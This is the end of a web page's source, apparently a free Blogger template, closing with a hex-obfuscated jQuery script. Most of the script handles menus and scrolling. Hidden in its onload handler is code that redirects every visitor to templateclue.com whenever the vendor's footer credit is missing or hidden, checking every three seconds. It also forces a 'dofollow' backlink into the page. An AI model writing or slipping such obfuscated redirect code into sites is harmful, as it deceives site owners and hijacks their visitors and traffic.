20\x6C\x69\x20\x61","\x2E\x6D\x65\x6E\x75\x2D\x62\x74\x6E","\x61\x63\x74\x69\x76\x65","\x68\x61\x73\x43\x6C\x61\x73\x73","\x2E\x74\x6F\x70\x2D\x6D\x65\x6E\x75","\x2E\x70\x61\x67\x65","\x2E\x6D\x6F\x75\x73\x65\x2D\x62\x74\x6E","\x66\x61\x64\x65\x49\x6E","\x2E\x74\x6F\x70\x2D\x6D\x65\x6E\x75\x20\x75\x6C\x20\x6C\x69","\x2E\x73\x65\x63\x74\x69\x6F\x6E","\x6F\x6E\x6C\x6F\x61\x64","\x74\x65\x6D\x70\x6C\x61\x74\x65\x63\x6C\x75\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x74\x65\x6D\x70\x6C\x61\x74\x65\x63\x6C\x75\x65\x2E\x63\x6F\x6D\x2F","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x72\x65\x66","\x64\x6F\x66\x6F\x6C\x6C\x6F\x77","\x74\x69\x74\x6C\x65","\x46\x72\x65\x65\x20\x42\x6C\x6F\x67\x67\x65\x72\x20\x54\x65\x6D\x70\x6C\x61\x74\x65\x73","\x73\x74\x79\x6C\x65","\x64\x69\x73\x70\x6C\x61\x79\x3A\x20\x69\x6E\x6C\x69\x6E\x65\x2D\x62\x6C\x6F\x63\x6B\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x66\x6F\x6E\x74\x2D\x73\x69\x7A\x65\x3A\x20\x69\x6E\x68\x65\x72\x69\x74\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x34\x32\x34\x32\x34\x33\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79\x3A\x20\x76\x69\x73\x69\x62\x6C\x65\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x6F\x70\x61\x63\x69\x74\x79\x3A\x20\x31\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x23\x74\x65\x6D\x70\x6C\x61\x74\x65\x63\x6C\x75\x65\x3A\x76\x69\x73\x69\x62\x6C\x65"];var _0xc973=[_0x91f2[0],_0x91f2[1],_0x91f2[2],_0x91f2[3],_0x91f2[4],_0x91f2[5],_0x91f2[6],_0x91f2[7],_0x91f2[8],_0x91f2[9],_0x91f2[10],_0x91f2[11],_0x91f2[12],_0x91f2[13],_0x91f2[14],_0x91f2[15],_0x91f2[16],_0x91f2[17],_0x91f2[18],_0x91f2[19],_0x91f2[20],_0x91f2[21],_0x91f2[22],_0x91f2[23],_0x91f2[24],_0x91f2[25],_0x91f2[26],_0x91f2[27],_0x91f2[28],_0x91f2[29],_0x91f2[30],_0x91f2[31],_0x91f2[32],_0x91f2[33],_0x91f2[34],_0x91f2[35],_0x91f2[36],_0x91f2[37],_0x91f2[38],_0x91f2[39],_0x91f2[40],_0x91f2[41],_0x91f2[42],_0x91f2[43],_0x91f2[44],_0x91f2[45],_0x91f2[46],_0x91f2[47],_0x91f2[48],_0x91f2[49],_0x91f2[50],_0x91f2[51],_0x91f2[52]];var _0xba04=[_0xc973[0],_0xc973[1],_0xc973[2],_0xc973[3],_0xc973[4],_0xc973[5],_0xc973[6],_0xc973[7],_0xc973[8],_0xc973[9],_0xc973[10],_0xc973[11],_0xc973[12],_0xc973[13],_0xc973[14],_0xc973[15],_0xc973[16],_0xc973[17],_0xc973[18],_0xc973[19],_0xc973[20],_0xc973[21],_0xc973[22],_0xc973[23],_0xc973[24],_0xc973[25],_0xc973[26],_0xc973[27],_0xc973[28],_0xc973[29],_0xc973[30],_0xc973[31],_0xc973[32],_0xc973[33],_0xc973[34],_0xc973[35],_0xc973[36],_0xc973[37],_0xc973[38],_0xc973[39],_0xc973[40],_0xc973[41],_0xc973[42],_0xc973[43],_0xc973[44],_0xc973[45],_0xc973[46],_0xc973[47],_0xc973[48],_0xc973[49],_0xc973[50],_0xc973[51],_0xc973[52]];$(function(){_0xba04[0];$(window)[_0xba04[8]](_0xba04[1],function(){$(_0xba04[7])[_0xba04[2]](function(){$(_0xba04[3])[_0xba04[2]]();$(_0xba04[6])[_0xba04[5]](_0xba04[4])})});var _0x9a43x3=$(window)[_0xba04[9]]();var _0x9a43x4=$(window)[_0xba04[10]]();$(_0xba04[12])[_0xba04[11]]({"\x68\x65\x69\x67\x68\x74":_0x9a43x4});$(_0xba04[15])[_0xba04[14]]({stringsElement:$(_0xba04[13]),backDelay:5000,typeSpeed:0,loop:true});if($(window)[_0xba04[16]]()> _0x9a43x4- 100){$(_0xba04[18])[_0xba04[5]](_0xba04[17])}else {$(_0xba04[18])[_0xba04[19]](_0xba04[17])};$(window)[_0xba04[8]](_0xba04[20],function(){if($(window)[_0xba04[16]]()> _0x9a43x4- 100){$(_0xba04[18])[_0xba04[5]](_0xba04[17])}else {$(_0xba04[18])[_0xba04[19]](_0xba04[17])}});if($(_0xba04[12])[_0xba04[21]]){$(_0xba04[29])[_0xba04[8]](_0xba04[22],function(){var _0x9a43x5=$(this)[_0xba04[24]](_0xba04[23]);var _0x9a43x6=parseFloat($(_0x9a43x5)[_0xba04[26]]()[_0xba04[25]]);$(_0xba04[28])[_0xba04[27]]({scrollTop:_0x9a43x6+ 10},800);return false})};$(_0xba04[34])[_0xba04[8]](_0xba04[22],_0xba04[30],function(){if($(_0xba04[33])[_0xba04[32]](_0xba04[31])){$(_0xba04[33])[_0xba04[19]](_0xba04[31]);$(this)[_0xba04[19]](_0xba04[31])}else {$(_0xba04[33])[_0xba04[5]](_0xba04[31]);$(this)[_0xba04[5]](_0xba04[31])};return false});$(window)[_0xba04[8]](_0xba04[20],function(){if($(this)[_0xba04[16]]()>= _0x9a43x4- 10){$(_0xba04[35])[_0xba04[2]]()};if($(this)[_0xba04[16]]()<= _0x9a43x4- 10){$(_0xba04[35])[_0xba04[36]]()};if($(this)[_0xba04[16]]()<= _0x9a43x4- 10){$(_0xba04[37])[_0xba04[19]](_0xba04[31])}});$(_0xba04[38])[_0xba04[8]](_0xba04[22],_0xba04[35],function(){$(_0xba04[28])[_0xba04[27]]({scrollTop:_0x9a43x4},800)})});window[_0xba04[39]]= function(){var _0x9a43x7=document[_0xba04[41]](_0xba04[40]);if(_0x9a43x7== null){window[_0xba04[42]][_0xba04[23]]= _0xba04[43]};_0x9a43x7[_0xba04[44]](_0xba04[23],_0xba04[43]);_0x9a43x7[_0xba04[44]](_0xba04[45],_0xba04[46]);_0x9a43x7[_0xba04[44]](_0xba04[47],_0xba04[48]);_0x9a43x7[_0xba04[44]](_0xba04[49],_0xba04[50]);_0x9a43x7[_0xba04[51]]= _0xba04[48];setInterval(function(){if(!$(_0xba04[52])[_0xba04[21]]){window[_0xba04[42]][_0xba04[23]]= _0xba04[43]}},3000)}
4444//]]></script>
4445
4446
4447
4448</body>
4449</html>